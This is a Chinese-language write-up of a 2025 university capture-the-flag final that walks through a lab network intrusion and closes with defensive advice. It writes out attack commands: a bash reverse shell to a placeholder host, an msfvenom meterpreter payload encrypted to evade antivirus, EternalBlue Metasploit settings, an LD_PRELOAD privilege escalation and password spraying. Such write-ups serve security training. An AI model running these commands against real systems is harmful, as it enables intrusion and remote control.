第十届上海市大学生网络安全大赛 暨“磐石行动”2025第三届全国高校网络安全攻防大赛复赛wp
字数 1891 2025-09-01 11:25:54

第十届上海市大学生网络安全大赛暨"磐石行动"2025复赛技术解析与教学文档

1. 初始访问与凭证获取

1.1 加密数据解密

  • 访问目标系统时发现报错页面,通过向下滚动页面可以找到加密数据
  • 解密方法未明确说明,但推测可能是简单的编码或加密(如Base64、ROT13等)
  • 解密后获得凭证格式:username:password

1.2 凭证爆破

  • 使用工具(如hashcat或John the Ripper)对获得的凭证进行爆破
  • 成功爆破出有效凭证:admin:P@ssw0rd_123
  • 使用该凭证通过SSH登录系统,获得普通权限

2. 权限提升技术

2.1 利用管理员私钥

  • 在系统中发现管理员私钥文件
  • 使用私钥连接root用户:
    ssh -i admin_private_key root@target_ip
    

2.2 内网扫描与发现

  • 使用fscan工具扫描内网:
    fscan -h 192.168.0.0/16
    
  • 发现内网IP 192.168.66.128运行Jenkins服务

2.3 Jenkins凭证泄露利用

  1. 在当前用户家目录下发现包含Jenkins凭证的代码文件
  2. 使用泄露的凭证修改HTTP请求的Authorization头进行认证
  3. 直接访问Jenkins后台管理界面

2.4 Jenkins权限提升

  • 使用公开的Jenkins凭证破解脚本:
    python jenkins_credential.py -u http://192.168.66.128:8080 -c credentials_file
    
  • 通过SSH连接后使用sudo su命令提权

3. 内网横向移动技术

3.1 密码重置漏洞利用 (CVE-2023-42820)

  1. 识别存在漏洞的系统
  2. 构造恶意请求利用任意密码重置漏洞
  3. 重置高权限账户密码后远程登录

3.2 Web终端提权

  • 通过Web终端进入SSH界面
  • 构造恶意动态链接库进行提权:
    gcc -shared -fPIC -o evil.so evil.c
    export LD_PRELOAD=/path/to/evil.so
    

3.3 Struts2漏洞利用

  • 识别存在Struts2漏洞的系统
  • 使用公开的Struts2漏洞利用工具进行攻击
  • 修改administrator密码后远程登录获取flag

3.4 永恒之蓝漏洞利用 (MS17-010)

  • 发现内网IP 192.168.99.112存在永恒之蓝漏洞
  • 使用Metasploit框架进行攻击:
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS 192.168.99.112
    exploit
    
  • 注意:靶机环境不稳定,可能需要多次尝试

4. 信息泄露漏洞利用

4.1 路径遍历与任意文件读取

  1. 发现Readme文件泄露敏感信息
  2. 审计代码发现XFF头伪造漏洞
  3. 结合Base64编码和路径穿越(../)读取任意文件:
    GET /../../etc/passwd HTTP/1.1
    X-Forwarded-For: [base64_encoded_payload]
    

4.2 配置文件泄露

  • 读取web.config文件获取远程登录凭证:
    <add name="RemoteUser" connectionString="root:KyHbPqxA3tD8oj17yC" />
    
  • 使用凭证进行远程登录

5. 高级攻击技术

5.1 GeoServer漏洞利用

  • 发现8080端口运行的GeoServer
  • 直接利用公开漏洞进行攻击
  • 部署内存马并使用冰蝎连接:
    ./geoserver_exploit.py -t target_ip -p 8080 -c "memory_shell"
    

5.2 数据库攻击

  1. 发现192.168.188.223运行PostgreSQL数据库
  2. 直接连接数据库:
    psql -h 192.168.188.223 -U postgres
    
  3. 利用数据库权限sudo读取flag或修改root密码

5.3 SSH漏洞利用 (CVE-2025-32433)

  1. 发现10.177.166.188:2222运行Erlang/5.2.8 SSH服务
  2. 使用Python2编写的漏洞利用脚本:
    python2 python2.exp.py -t 10.177.166.188 -p 2222 -c "reverse_shell_command"
    
  3. 反弹shell到公网服务器:
    bash -i >& /dev/tcp/your_ip/your_port 0>&1
    

6. 域渗透技术

6.1 凭证喷洒攻击

  1. 从数据库获取大量凭证
  2. 使用工具进行域用户凭证喷洒:
    crackmapexec smb domain_controller -u user_list -p password_list
    
  3. 成功获取一个有效域用户凭证

6.2 域内信息收集

  • 发现域内500+用户
  • 使用LDAP查询收集更多信息:
    ldapsearch -h domain_controller -D "valid_user" -w "password" -b "dc=domain,dc=com"
    

7. 防御规避技术

7.1 免杀技术

  • 在Windows系统上发现df(防御软件)
  • 使用自定义编码或加密技术绕过检测:
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=your_ip LPORT=your_port -e x86/shikata_ga_nai -i 5 -f raw | openssl enc -rc4 -salt -pass pass:key -out payload.bin
    

8. 工具与资源

  1. fscan: 内网扫描工具
  2. Jenkins凭证破解脚本: https://github.com/rabbitmask/Jenkins_Credentials_Crack
  3. Struts2漏洞利用工具: 多种公开可用工具
  4. 永恒之蓝利用: Metasploit模块
  5. GeoServer漏洞利用: 公开的漏洞利用代码
  6. CVE-2025-32433利用脚本: Python2编写的专用利用工具

9. 总结与最佳实践

  1. 信息收集是关键: 从报错信息、配置文件、源代码中寻找敏感信息
  2. 凭证复用: 在不同系统中尝试使用相同的凭证
  3. 漏洞组合利用: 结合多个漏洞实现更深层次的渗透
  4. 内网扫描: 定期进行内网扫描发现新目标
  5. 权限维持: 获取权限后建立持久化访问
  6. 工具准备: 提前准备好各种环境下的利用工具(如Python2环境)

10. 防御建议

  1. 修复已知漏洞(如CVE-2023-42820、永恒之蓝等)
  2. 加强凭证管理,避免硬编码或泄露
  3. 限制内部服务的访问权限
  4. 实施网络分段,减少横向移动的可能性
  5. 监控异常登录行为
  6. 定期更新系统和应用补丁
  7. 加强错误信息处理,避免泄露敏感信息
第十届上海市大学生网络安全大赛暨"磐石行动"2025复赛技术解析与教学文档 1. 初始访问与凭证获取 1.1 加密数据解密 访问目标系统时发现报错页面,通过向下滚动页面可以找到加密数据 解密方法未明确说明,但推测可能是简单的编码或加密(如Base64、ROT13等) 解密后获得凭证格式: username:password 1.2 凭证爆破 使用工具(如hashcat或John the Ripper)对获得的凭证进行爆破 成功爆破出有效凭证: admin:P@ssw0rd_123 使用该凭证通过SSH登录系统,获得普通权限 2. 权限提升技术 2.1 利用管理员私钥 在系统中发现管理员私钥文件 使用私钥连接root用户: 2.2 内网扫描与发现 使用fscan工具扫描内网: 发现内网IP 192.168.66.128运行Jenkins服务 2.3 Jenkins凭证泄露利用 在当前用户家目录下发现包含Jenkins凭证的代码文件 使用泄露的凭证修改HTTP请求的Authorization头进行认证 直接访问Jenkins后台管理界面 2.4 Jenkins权限提升 使用公开的Jenkins凭证破解脚本: 通过SSH连接后使用 sudo su 命令提权 3. 内网横向移动技术 3.1 密码重置漏洞利用 (CVE-2023-42820) 识别存在漏洞的系统 构造恶意请求利用任意密码重置漏洞 重置高权限账户密码后远程登录 3.2 Web终端提权 通过Web终端进入SSH界面 构造恶意动态链接库进行提权: 3.3 Struts2漏洞利用 识别存在Struts2漏洞的系统 使用公开的Struts2漏洞利用工具进行攻击 修改administrator密码后远程登录获取flag 3.4 永恒之蓝漏洞利用 (MS17-010) 发现内网IP 192.168.99.112存在永恒之蓝漏洞 使用Metasploit框架进行攻击: 注意:靶机环境不稳定,可能需要多次尝试 4. 信息泄露漏洞利用 4.1 路径遍历与任意文件读取 发现Readme文件泄露敏感信息 审计代码发现XFF头伪造漏洞 结合Base64编码和路径穿越(../)读取任意文件: 4.2 配置文件泄露 读取web.config文件获取远程登录凭证: 使用凭证进行远程登录 5. 高级攻击技术 5.1 GeoServer漏洞利用 发现8080端口运行的GeoServer 直接利用公开漏洞进行攻击 部署内存马并使用冰蝎连接: 5.2 数据库攻击 发现192.168.188.223运行PostgreSQL数据库 直接连接数据库: 利用数据库权限sudo读取flag或修改root密码 5.3 SSH漏洞利用 (CVE-2025-32433) 发现10.177.166.188:2222运行Erlang/5.2.8 SSH服务 使用Python2编写的漏洞利用脚本: 反弹shell到公网服务器: 6. 域渗透技术 6.1 凭证喷洒攻击 从数据库获取大量凭证 使用工具进行域用户凭证喷洒: 成功获取一个有效域用户凭证 6.2 域内信息收集 发现域内500+用户 使用LDAP查询收集更多信息: 7. 防御规避技术 7.1 免杀技术 在Windows系统上发现df(防御软件) 使用自定义编码或加密技术绕过检测: 8. 工具与资源 fscan : 内网扫描工具 Jenkins凭证破解脚本 : https://github.com/rabbitmask/Jenkins_ Credentials_ Crack Struts2漏洞利用工具 : 多种公开可用工具 永恒之蓝利用 : Metasploit模块 GeoServer漏洞利用 : 公开的漏洞利用代码 CVE-2025-32433利用脚本 : Python2编写的专用利用工具 9. 总结与最佳实践 信息收集是关键 : 从报错信息、配置文件、源代码中寻找敏感信息 凭证复用 : 在不同系统中尝试使用相同的凭证 漏洞组合利用 : 结合多个漏洞实现更深层次的渗透 内网扫描 : 定期进行内网扫描发现新目标 权限维持 : 获取权限后建立持久化访问 工具准备 : 提前准备好各种环境下的利用工具(如Python2环境) 10. 防御建议 修复已知漏洞(如CVE-2023-42820、永恒之蓝等) 加强凭证管理,避免硬编码或泄露 限制内部服务的访问权限 实施网络分段,减少横向移动的可能性 监控异常登录行为 定期更新系统和应用补丁 加强错误信息处理,避免泄露敏感信息